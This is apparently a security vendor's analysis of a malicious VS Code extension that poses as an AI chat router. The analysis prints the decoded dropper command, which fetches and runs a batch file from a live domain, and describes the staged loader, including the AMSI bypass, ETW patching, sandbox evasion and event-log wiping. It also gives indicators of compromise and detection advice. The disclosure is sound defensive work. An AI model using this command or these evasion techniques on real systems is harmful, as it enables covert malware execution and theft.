AI coding assistants are now normal developer tooling. A new extension that promises to route conversations across Claude, GPT, Gemini and DeepSeek from one sidebar does not look suspicious on the surface — until it starts executing a hidden batch file on every VS Code: launch.

TL;DR

  • guavaduck2.omnirouter-ai 0.1.0 on Open VSX advertises an AI chat sidebar for Claude, GPT, Gemini and DeepSeek. The chat UI is real.
  • A zero-width-obfuscated child_process.exec line fires on activation and downloads dab.bat from fdgfdgfdgfdgfhtgftdr[.]store.
  • dab.bat is a three-stage dropper: batch decoder → PowerShell with AMSI bypass and ETW patching → in-memory C# loader that reflectively loads a final PE.
  • The final PE payload was not retrieved at analysis time. The reflective Assembly.Load means it never touches disk unless the operator changes the chain.
  • Activation is ["*"], so the dropper runs on every VS Code: start.

Why this cover works

The idea of an “omni-router” for AI providers is plausible. Developers who pay for several APIs often want a single chat panel that can fall back from Claude to GPT to Gemini without copying threads between web apps. The description hits that exact pain point:

One AI chat sidebar for Claude, GPT, Gemini and DeepSeek — bring your own keys, compare costs, and transfer a conversation between models without losing context.

The extension even ships a functional-looking chat implementation: conversation storage, model selection, token-cost estimation, and provider-specific streaming handlers for Anthropic, OpenAI, Google and DeepSeek. A user who installs it for the chat UI has no reason to suspect the sidebar is a delivery vehicle for a Windows dropper.

guavaduck2 is a new publisher with no prior extensions. The repository URL in the manifest points to github.com/guavaduck/omnirouter-ai, but the account and repo are unverified and the extension is not published from that source. The package version is 0.1.0, the classic first-release signal. These are all weak trust signals, but they are common enough among experimental extensions that a hurried developer may not pause.

What the extension actually does

Activation

package.json sets the activation event to "*":

{
  "name": "omnirouter-ai",
  "publisher": "guavaduck2",
  "version": "0.1.0",
  "main": "./dist/extension.js",
  "activationEvents": ["*"]
}

That single change means the extension does not wait for a command or a language mode. It runs the moment VS Code: initializes any workspace.

The dropper line

The functional chat code lives in the first part of dist/extension.js. After the conversation-store class, the file injects a single line that does not belong in a chat extension:

require("child_process").exec(
  "cd /d %TEMP%&&curl -sO https://fdgfdgfdgfdgfhtgftdr.store/dab.bat && dab.bat"
);

In the original artifact this string is not present as plain text. It is reconstructed at runtime from a zero-width-character string table decoded by a helper function. The command argument is encoded using zero-width characters and decoded via a custom q function. This is not a configuration bug or a build artifact; it is deliberate concealment of a remote command execution.

The command is Windows-specific: it changes to %TEMP%, silently downloads dab.bat with curl, and runs it. The use of curl (built into Windows 10/11 since 2018) avoids bringing in a separate downloader.

Stage 1: dab.bat

The batch file is a heavily obfuscated CMD script. It defines dozens of random-looking environment variables, branches on values that are never set, and ends with a block that builds a PowerShell command. The command base64-decodes a large here-string, XORs the result with a fixed key, and executes the decoded PowerShell.

Key artifacts in the batch:

  • The decoder key: 0D/ravdde07FL0iB64iLHtGgpbV68GJ9yXGA8tuEl+o= (base64, decoded to a 32-byte XOR key).
  • A debug file written to $env:USERPROFILE\stub_ran.txt, useful for confirming execution.
  • The final line: a PowerShell ScriptBlock created from the decoded script and invoked with &.

Stage 2: PowerShell setup and anti-analysis

The decoded PowerShell script begins by clearing PSModulePath and PATHEXT and appending stage markers to $env:USERPROFILE\payload_debug.txt. It then runs a quick environment check and aborts if any of the following are true:

  • Total physical memory is less than 4 GB.
  • The video controller name matches vmware, svga, microsoft remote display, microsoft basic display, virtualbox or qemu.
  • The computer manufacturer matches vmware, virtualbox, qemu or xen.
  • The operating system caption does not match Windows 10 or Windows 11.
  • The current username matches frank or administrator.

These checks are not precision VM detection; they are fast gates designed to skip sandboxes, analysts’ test boxes and common honeypot accounts. After the checks pass, the script decodes a second stage — a C# source blob, again base64-and-XOR encoded with its own key — and loads it with Add-Type -TypeDefinition $lcs -Language CSharp.

Stage 3: C# loader

The in-memory C# class, QkpRvNwtdDRigU, is a small reflective loader with the following behavior:

  1. Hide the console via GetConsoleWindow and ShowWindow.
  2. Bypass AMSI by locating AmsiScanBuffer in amsi.dll and patching it with a short shellcode stub that always returns AMSI_RESULT_CLEAN (1). The import name and procedure name are built char-by-char to evade string scanners.
  3. Disable PowerShell logging by patching ETW.
  4. Decrypt a PE payload from the enc byte array passed in from PowerShell. The loader’s Run method ends with:
    byte[] pe = Decrypt(enc);
    var ep = Assembly.Load(pe).EntryPoint;
    ep.Invoke(null, ep.GetParameters().Length > 0 ? new object[]{new string[0]} : null);
    
  5. Persistence code is present but commented out in the Run method (/*Persist disabled*/). The Persist method contains the registry path Software\Microsoft\Windows\CurrentVersion\Run, suggesting a future update may enable run-key persistence.
  6. Cleanup clears WMI event filters and erases Security, System, Application, PowerShell and PowerShell operational logs with wevtutil cl.

The final payload itself was not retrieved at analysis time; only the loader was decoded. The reflective Assembly.Load means the final binary never touches disk unless the operator changes the chain.

Indicators of Compromise

Malicious extension

  • Open VSX identifier: guavaduck2.omnirouter-ai
  • Version: 0.1.0
  • Display name: OmniRouter AI
  • Publisher: guavaduck2
  • Repository: https://github.com/guavaduck/omnirouter-ai
  • VSIX SHA-256: c7be9abbc07b679e59627a76db95d56e7b3208efb1b0cc3cce99ee7213948821

Network

  • Stage 1 URL: https[://]fdgfdgfdgfdgfhtgftdr[.]store/dab.bat
  • C2 / staging domain: fdgfdgfdgfdgfhtgftdr[.]store
  • Dropper target: extension/dist/extension.js (SHA-256 918adf0088e8785d825116cc8ff4247afc1f6a9463f5b6901680143d6e366f48)

Host artifacts

  • Batch file dropped: %TEMP%\dab.bat
  • PowerShell debug file: %USERPROFILE%\payload_debug.txt
  • Stub debug file: %USERPROFILE%\stub_ran.txt
  • Registry path referenced: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • WMI cleanup: root\subscription __EventFilter objects removed
  • Event logs cleared: Security, System, Application, Windows PowerShell, Microsoft-Windows-PowerShell/Operational

Loader strings

  • PowerShell XOR key (base64): 0D/ravdde07FL0iB64iLHtGgpbV68GJ9yXGA8tuEl+o=
  • C# loader class: QkpRvNwtdDRigU
  • AMSI target: amsi.dllAmsiScanBuffer

Recommendations for developers

AI-aggregator extensions are attractive, but “one sidebar for every model” is also an ideal cover for a dropper. Before installing one:

  • Check the publisher. A new account with a single 0.1.0 release and an unverified repository should be treated as untrusted until proven otherwise.
  • Look at activationEvents in package.json. "*" means the extension runs on every launch, not just when you use it.
  • Avoid pasting API keys into extensions that do not come from the provider’s official tooling. Even a benign-looking aggregator can leak or exfiltrate keys.
  • On Windows, monitor %TEMP% for unexpected .bat files and curl.exe invocations from Node.js parent processes.
  • For teams, use the Yeeth dev-guard extension on Open VSX to receive live campaign updates for known malicious publishers.

Detection implications

The OmniRouter sample is a reminder that malicious extensions are increasingly borrowing the surface shape of legitimate developer tools. The chat functionality, the model list, and the cost-estimation code are all real enough to pass a quick manual review. The malicious logic is reduced to a single obfuscated line that executes outside the extension’s own process tree via child_process.exec.

Detection that relies on string matching for child_process will miss variants that use zero-width or homoglyph encoding. The right signal is the combination of:

  1. An extension with broad activation ("*" or onStartupFinished).
  2. A decoded string that resolves to a remote executable fetch.
  3. Execution of a non-extension binary from %TEMP% triggered by a VS Code: extension host process.

A behavioral anchor keyed on those three properties catches the next publisher that reuses the same dropper technique, even if the extension name, display name, and C2 domain change.